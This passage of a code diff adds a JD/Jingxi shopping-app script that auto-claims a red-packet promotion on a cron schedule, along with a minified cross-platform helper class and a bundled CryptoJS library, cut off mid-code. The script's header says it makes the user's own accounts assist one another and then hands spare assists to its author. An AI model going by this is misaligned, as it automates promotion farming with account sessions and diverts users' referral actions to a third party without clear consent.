t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} diff --git a/jd_jxlhb.js b/jd_jxlhb.js new file mode 100644 index 0000000..7b5b1ef --- /dev/null +++ b/jd_jxlhb.js @@ -0,0 +1,529 @@ +/* +京喜领88元红包 +活动入口:京喜app-》我的-》京喜领88元红包 +助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 +温馨提示:如提示助力火爆,可尝试寻找京东客服 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京喜领88元红包 +4 2,10 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 2,10 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 + +================Surge=============== +京喜领88元红包 = type=cron,cronexp="4 2,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js + +===============小火箭========== +京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 2,10 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ 